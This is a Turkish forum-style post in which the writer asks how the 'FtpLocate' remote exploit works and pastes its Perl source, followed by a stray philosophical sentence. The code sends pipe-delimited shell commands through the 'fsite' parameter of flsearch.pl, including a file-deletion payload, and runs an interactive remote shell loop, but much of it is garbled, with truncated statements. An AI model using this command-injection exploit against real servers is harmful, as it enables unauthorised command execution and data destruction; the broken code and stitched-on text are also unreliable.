FtpLocate adında bir exploit var, çalışma mantığını anlayamadım. Aşşağıda bunun kodları, dahada aşşağıda onu derlemeye çalıştığım zaman ve birşey anlamadığım şeyin grüntü kaydı var..#!/usr/bin/perl## FtpLocate <= 2.02 remote exploit# VERY PRIVATE VERSION# DO NOT DISTRIBUTE## newbug Tseng chroot. org#sub my_socket sub ch2hex{ $chr = $_ ; $out=""; for($i=0;$i<length ;$i++) { $ch = substr($chr,$i,1); if elsif elsif else } $out;}sub upload_file{ print "local file: "; chomp ; print "remote file: "; chomp ; my $socket = &my_socket ; print $socket "GET $cgi?query=xx\&fsite=|rm%20-f%20$rfile| $junk"; close $socket; print "remove $host:$rfile done.\n"; my @DATA = `cat $lfile`; $num=1; $total = scalar @DATA; foreach $DATA }use IO::Socket::INET;print "FtpLocate flsearch. pl remote exploit\n";print "host: ";chomp ;print "port (80): ";chomp ;if print "version 1.0/1.1 (1.0): ";chomp ;if print "cmd/upload : "; chomp ;if print "cgi path : ";chomp ;if if($ver eq "1.0") else if { while(1){ print "h4ck3r\@ : \$ "; chomp ; if }}elsif print "done.\n"; Bu da ScreenShot'ımız: Fakat syleyin kardeşlerim; insanlığın bir ereği eksikse, eksik değil midir- bizzat kendisi de?